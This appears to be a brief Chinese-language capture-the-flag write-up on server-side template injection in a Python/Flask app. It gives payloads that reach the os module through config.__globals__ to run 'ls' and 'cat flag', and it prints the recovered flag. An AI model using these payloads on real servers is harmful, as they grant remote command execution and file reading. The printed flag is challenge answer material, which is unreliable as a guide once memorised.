要想做到这个题,先要了解SSTI_2模板注入详解
先看如下一段代码:
class Restaurant:"""类"""def __init__(self, restaurant_name, cuisine_type):self.restaurant_name = restaurant_nameself.cuisine_type = cuisine_typedef describe_restaurant(self):print(f"{self.restaurant_name} -> {self.cuisine_type}")def open_restaurant(self):print('营业中')restaurant = Restaurant('7天酒店', 100)
print(restaurant.__init__)
什么是内置属性如上的__init__就是内置属性,可以这么认为,内置属性就是
__英文字母__这样格式的字符串
?flag = {{ config.__class__.__init__.__globals__['os'].popen('ls ').read() }}

为什么是这样的了?,为什么这样就可以查看当前目录了?,这又是什么东西?,好,你先输入
?flag =,会出现弹窗,但是这不是反射性xss,也可以说是反射型xss,但是flag不存在前端,反射性xss一般是获取前端数据
在Linux操作系统下,没有后缀的文件当作文本文件处理
?flag = {{ config.__class__.__init__.__globals__['os'].popen('cat flag ').read() }}

flag:
flag{c77ca5c36d8baa014fa9bd96b8933719}
上一篇:QML键盘事件